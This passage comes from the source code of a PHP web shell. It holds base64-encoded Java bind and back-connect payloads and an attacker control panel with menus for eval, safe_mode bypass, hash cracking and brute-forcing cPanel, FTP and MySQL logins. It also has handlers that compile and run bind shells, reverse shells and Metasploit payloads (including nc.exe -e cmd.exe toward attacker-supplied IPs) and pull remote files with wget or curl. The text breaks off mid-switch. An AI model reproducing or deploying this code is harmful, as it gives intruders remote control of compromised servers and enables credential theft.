AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
$bind_jar='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';
$back_jar='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';
echo $head;
echo '</head><body onclick="var Auto = document.getElementById(\'AutoComplite\'); if(Auto){Auto.style.display = \'none\';}"><table width=800 align=center style="BACKGROUND-COLOR: #000000; BORDER:  #333333 1px solid;"><tr><td align=left><table width=800 cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#000000><font face=Verdana size=-2>';
echo ws(2);
echo "<b>".date ("d-m-Y H:i:s").ws(3)."<font color=red> Your IP : </font><font color=#cccccc>".$_SERVER["REMOTE_ADDR"].ws(3)."</font><font color=red>Server IP: </font><font color=#cccccc>".@gethostbyname($_SERVER["HTTP_HOST"])."</font></b><div align=center><br><img src=".$_SERVER['PHP_SELF']."?img=3 style=\"BORDER-COLOR:#000000; width:200px; height:150px;background-color: 000000;\"> </div><br>";
echo '<ul id="menuDeroulant" align=center>';
echo "<li><a href=".$_SERVER['PHP_SELF']." title=\"Home Page\"><b>Home</b></a></li>";
echo '<li>
  <a href="#"><b>Server Info</b></a>
  <ul class="sousMenu">';
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=security title=\"".$lang[$language.'_text143']."\"><b>Server Info</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=processes title=\"".$lang[$language.'_text144']."\"><b>Processes</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>PHP Info</b></a></li>";
echo'</ul>
 </li>';
echo "<li><a href=".$_SERVER['PHP_SELF']."?act=eval title=\"eval()\"><b>Eval</b></a></li>";
echo "<li><a href=".$_SERVER['PHP_SELF']."?act=bypass title=\"PHP safe_mode and open_basedir_bypass\"><b>Bypass</b></a></li>";
echo' <li>
  <a href="#"><b>Cracker</b></a>
  <ul class="sousMenu">';
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=cracker title=\" Hash cracker: md5, sh1\"><b>Hash Cracker</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=hash title=\"Hash Analyser\"><b>Hash Analyser</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=brute title=\" cpanel, ftp and MySQL brute f0rce Attack\"><b>Brute Forcer</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=dic title=\" Dictionary Generator\"><b>Dictionary</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=encoder title=\"Encoder Manager\"><b>Encoder</b></a></li>";
echo' </ul>
 </li>';
 echo' <li>
  <a href="#"><b>URL</b></a>
  <ul class="sousMenu">';
  echo "<li><a href=".$_SERVER['PHP_SELF']."?act=proxy title=\"Http Mini Proxy\"><b>Http Proxy</b></a></li>";
  echo "<li><a href=".$_SERVER['PHP_SELF']."?act=admfinder title=\" Admin Finder\"><b>Admin Finder</b></a></li>";
  echo'</ul>
 </li>';
echo' <li>
  <a href="#"><b>Tools</b></a>
  <ul class="sousMenu">';
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=net title=\" back-connect, bind port, proxy, Datapipe,Metasploit\"><b>Bind/Back</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=sql title=\" MySQL Database Manager\"><b>MySQL</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=ftp title=\" Web FTP client\"><b>FTP</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=scanner title=\" Port scanner\"><b>Scanner</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?act=mailer title=\" Mailer\"><b>Mailer</b></a></li>";
   echo' </ul>
 </li>';

echo'  <li>
  <a href="#"><b>?</b></a>
  <ul class="sousMenu">';
   echo "<li><a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?logout title='Logout'><b>Logout</b></a></li>";
   echo "<li><a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a></li>";
echo '</ul></li></ul><br><br>';
echo ws(2);
echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>"));
echo ws(2);
echo "PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>"));
echo ws(2);
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; }
echo ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
echo ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
echo ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
echo ws(2);
echo "MySQLi: <b>";
$mysqli_on = @function_exists('mysqli_connect');
if($mysqli_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "MSQL: <b>";
$msql_on = @function_exists('msql_connect');
if($msql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "SQLite: <b>";
$sqlite_on = @function_exists('sqlite_open');
if($sqlite_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "Sockets: <b>";
$sockets_on = @extension_loaded('sockets');
if($sockets_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "SSH2: <b>";
$ssh_on = @function_exists("ssh2_connect");
if($ssh_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "Open_Basedir: <b>";
if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
else {echo "<font color=green>NONE</font></b>";}
echo ws(2)."Safe_Exec_Dir: <b>";
if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo ws(2)."Safe_Gid: <b>";
if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo ws(2)."Safe_Include_Dir: <b>";
if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo ws(2)."Sql.safe_mode: <b>";
if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo "</b><br>".ws(2);
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
if(!empty($ust_u)){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=blue><b>".$ust_u."</b></font>";};
if(!empty($ust_d)){echo "<br>".ws(2).$lang[$language.'_text139'].": <font color=red><b>".$ust_d."</b></font>";};
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>".ws(4)."TMP : <b><font color=\"#00ff0f\">".tmpdir()."</font></b></font>";
if($windows){
 echo "<form name=form method=POST>";
 if(isset($_POST['win_drivers'])){Chdir($_POST['win_drivers']);}
 echo '<label>'.ws(2).'Detected drives : </label>';
foreach (range("a","z") as $letter){
  $bool = is_dir($letter.":\\");
  if ($bool){echo '&#160;<input type=submit name=win_drivers value="'. strtoupper($letter) .':">';}
 }
 echo "</form>";
}
echo '</td></tr><table>
<table width=800 cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td align=left width=70>';
echo $font;
if(!$windows){
echo '<font color=#4C83AF><b>uname -a :'.ws(1).'<br>SysCtl :'.ws(1).'<br>OsType :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=#ffffff>";
$uname = ex('uname -a');
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
if(!$safe_mode){
$bsd1 = ex('sysctl -n kern.ostype');
$bsd2 = ex('sysctl -n kern.osrelease');
$lin1 = ex('sysctl -n kernel.ostype');
$lin2 = ex('sysctl -n kernel.osrelease');
}
if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
else { $sysctl = "-"; }
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
$id = ex('id');
echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"));
echo ws(3).$dir;
echo ws(3).view_perms_color($dir);
echo "</font>";
}else{
echo '<font color=#4C83AF>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=#ffffff>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@get_current_user()."<br>";
echo ws(3).$dir;
echo ws(3).view_perms_color($dir);
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
 {
 switch($_POST['what'])
   {
   case 'own':
   @chown($_POST['param1'],$_POST['param2']);
   break;
   case 'grp':
   @chgrp($_POST['param1'],$_POST['param2']);
   break;
   case 'mod':
   @chmod($_POST['param1'],intval($_POST['param2'], 8));
   break;
   }
 $_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
 {
   switch($_POST['what'])
   {
     case 'file':
       if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
       else {
        fclose($file);
        echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#111111><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font>".ws(2);
        echo "<a href=\"".$surl."act=f&f=".basename($_POST['mk_name'])."&ft=edit&d=".$d."\"><label class=\"table_list\" style=\"color:red;\">Edit</label></a></div></td></tr></table>";
		}
     break;
     case 'dir':
      if(mkdir($_POST['mk_name']))
       {
         $_POST['cmd']="";
         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#111111><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
       }
      else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
     break;
   } 
}
if (isset($_POST['reduh']) && $_POST['reduh']=="jsp")
{
 cf('./reduh.jsp',$reduh_jsp);
  if (file_exists('./reduh.jsp')){
	echo '<div align=center><label>use the reDuh client to connect</label></div>';
 }else{
	echo '<div align=center><label>Error: cant\'t write the script</label></div>';
  }
}
 if (isset($_POST['reduh']) && $_POST['reduh']=="aspx")
{
 cf('./reduh.aspx',$reduh_aspx);
  if (file_exists('./reduh.aspx')){
		echo '<div align=center><label>use the reDuh client to connect</label></div>';
 }else{
	echo '<div align=center><label>Error: cant\'t write the script</label></div>';
  }
}
 if (isset($_POST['reduh']) && $_POST['reduh']=="php")
{
 cf('./reduh.php',$reduh_php);
  if (file_exists('./reduh.php')){
		echo '<div align=center><label>use the reDuh client to connect</label></div>';
 }else{
	echo '<div align=center><label>Error: cant\'t write the script</label></div>';
  }
}
if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
{
 cf(tmpdir().'/prxpl',$proxy_pl);
 $p2=which("perl");
 $blah = ex($p2.' '.tmpdir().'/prxpl '.$_POST['proxy_port'].' &');
 @unlink(tmpdir().'/prxpl');
}
if (!empty($_POST['port'])&&($_POST['use']=="C")&&($_POST['mode']=="Bind"))
{
 cf(tmpdir()."/bd.c",$port_bind_bd_c);
 $blah = ex("gcc -o ".tmpdir()."/bd ".tmpdir()."/bd.c");
 @unlink(tmpdir()."/bd.c");
 $blah = ex(tmpdir()."/bd ".$_POST['port']." Xanir &");
}
if (!empty($_POST['port'])&&($_POST['use']=="java")&&($_POST['mode']=="Bind"))
{
 cf(tmpdir()."/bd.jar",$bind_jar);
 $p2=which("java -jar");
 if(empty($p2)) $p2="java -jar";
 $blah = ex($p2." ".tmpdir()."/bd.jar ".$_POST['port']." /bin/bash &");
}
if (!empty($_POST['port'])&&($_POST['use']=="Perl")&&($_POST['mode']=="Bind"))
{
 cf(tmpdir()."/bdpl",$port_bind_bd_pl);
 $p2=which("perl");
 if(empty($p2)) $p2="perl";
 $blah = ex($p2." ".tmpdir()."/bdpl ".$_POST['port']." &");
}
if (!empty($_POST['port'])&&($_POST['use']=="php")&&($_POST['mode']=="Bind"))
{
PHPBind($_POST['port']);
}
if (!empty($_POST['winport'])&&($_POST['use']=="Perl")&&($_POST['mode']=="Bind"))
{
 cf(tmpdir()."\\bdpl",$winbind_bd_pl);
 $p2=which("perl");
 if(empty($p2)) $p2="perl";
 $blah = ex($p2.' "'.tmpdir().'\\bdpl" '.$_POST['winport'].' &');
}
if (!empty($_POST['winport'])&&($_POST['use']=="php")&&($_POST['mode']=="Bind"))
{
PHPBind($_POST['winport']);
}
if (!empty($_POST['winport'])&&($_POST['use']=="java")&&($_POST['mode']=="Bind"))
{
 cf(tmpdir()."\\bd.jar",$bind_jar);
 $p2=which("java -jar");
 if(empty($p2)) $p2="java -jar";
 $blah = ex($p2.' "'.tmpdir().'\\bd.jar" '.$_POST['winport'].' cmd.exe &');
}
if (!empty($_POST['winport'])&&($_POST['use']=="nc")&&($_POST['mode']=="Bind"))
{
 cf(tmpdir()."\\nc.exe",$nc);
 $blah = ex('"'.tmpdir().'\\nc.exe" -vnn -l -p'.$_POST['winport'].' -d -e cmd.exe');
}
if (!empty($_POST['metasploit_ip']) && !empty($_POST['metasploit_port']) && ($_POST['use']=="PHP")&&($_POST['mode']=="reverse_tcp"))
{
MetaReverse_tcp($_POST['metasploit_ip'], $_POST['metasploit_port']);
}

if (!empty($_POST['metasploit_ip']) && !empty($_POST['metasploit_port']) && ($_POST['use']=="PHP")&&($_POST['mode']=="bind_tcp"))
{
MetaBind_tcp($_POST['metasploit_ip'], $_POST['metasploit_port']);
}


if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")&&($_POST['mode']=="back-connect"))
{
 cf(tmpdir()."/back",$back_connect);
 $p2=which("perl");
 if(empty($p2)) $p2="perl";
 $blah = ex($p2." ".tmpdir()."/back ".$_POST['ip']." ".$_POST['port']." &");
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="java")&&($_POST['mode']=="back-connect"))
{
 cf(tmpdir()."/back.jar",$back_jar);
 $p2=which("java -jar");
 if(empty($p2)) $p2="java -jar";
 $blah = ex($p2." ".tmpdir()."/back.jar ".$_POST['ip']." ".$_POST['port']." /bin/bash &");
}
if (!empty($_POST['winip']) && !empty($_POST['winport']) && ($_POST['use']=="Perl")&&($_POST['mode']=="back-connect"))
{
 cf(tmpdir()."\\back",$winback_pl);
 $p2=which("perl");
 if(empty($p2)) $p2="perl";
 $blah = ex($p2.' "'.tmpdir().'\\back" '.$_POST['winip'].' '.$_POST['winport'].' &');
  @unlink(tmpdir().'\\back');
}
if (!empty($_POST['winip']) && !empty($_POST['winport']) && ($_POST['use']=="java")&&($_POST['mode']=="back-connect"))
{
 cf(tmpdir()."\\back.jar",$back_jar);
 $p2=which("java -jar");
 if(empty($p2)) $p2="java -jar";
 $blah = ex($p2.' "'.tmpdir().'\\back.jar" '.$_POST['winip'].' '.$_POST['winport'].' cmd.exe &');
}
if (!empty($_POST['winip']) && !empty($_POST['winport']) && ($_POST['use']=="php")&&($_POST['mode']=="back-connect"))
{
PHPBack($_POST['winip'],$_POST['winport']);
}
if (!empty($_POST['winip']) && !empty($_POST['winport']) && ($_POST['use']=="nc")&&($_POST['mode']=="back-connect"))
{
 cf(tmpdir()."\\nc.exe",$nc);
 $blah = ex('"'.tmpdir().'\\nc.exe" -vnn '.$_POST['winip'].' '.$_POST['winport'].' -d -e cmd.exe');
  @unlink(tmpdir().'\\nc.exe');
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")&&($_POST['mode']=="back-connect"))
{
 cf(tmpdir()."/back.c",$back_connect_c);
 $blah = ex("gcc -o ".tmpdir()."/backc ".tmpdir()."/back.c");
 @unlink(tmpdir()."/back.c");
 $blah = ex(tmpdir()."/backc ".$_POST['ip']." ".$_POST['port']." &");
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php")&&($_POST['mode']=="back-connect"))
{
LinuxPHPBack($_POST['ip'],$_POST['port']);
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
{
 cf(tmpdir()."/dp",$datapipe_pl);
 $p2=which("perl");
 if(empty($p2)) $p2="perl";
 $blah = ex($p2." ".tmpdir()."/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
{
 cf(tmpdir()."/dpc.c",$datapipe_c);
 $blah = ex("gcc -o ".tmpdir()."/dpc ".tmpdir()."/dpc.c");
 @unlink(tmpdir()."/dpc.c");
 $blah = ex(tmpdir()."/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="exe"))
{
 cf(tmpdir()."\\dp.exe",$dp_exe);
 $blah = ex(tmpdir()."\\dp.exe localhost ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
 @unlink(tmpdir()."\\dp.exe");
}
if (!empty($HTTP_POST_FILES['userfile']['name']))
{
if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
@copy($HTTP_POST_FILES['userfile']['tmp_name'],
            $_POST['dir']."/".$nfn)
      or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
}
if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
{
 switch($_POST['with'])
 {
 case wget:
 $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
 break;
 case fetch:
 $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
 break;
 case lynx:
 $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case links:
 $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case GET:
 $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case curl:
 $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
 break;
 case vbs:
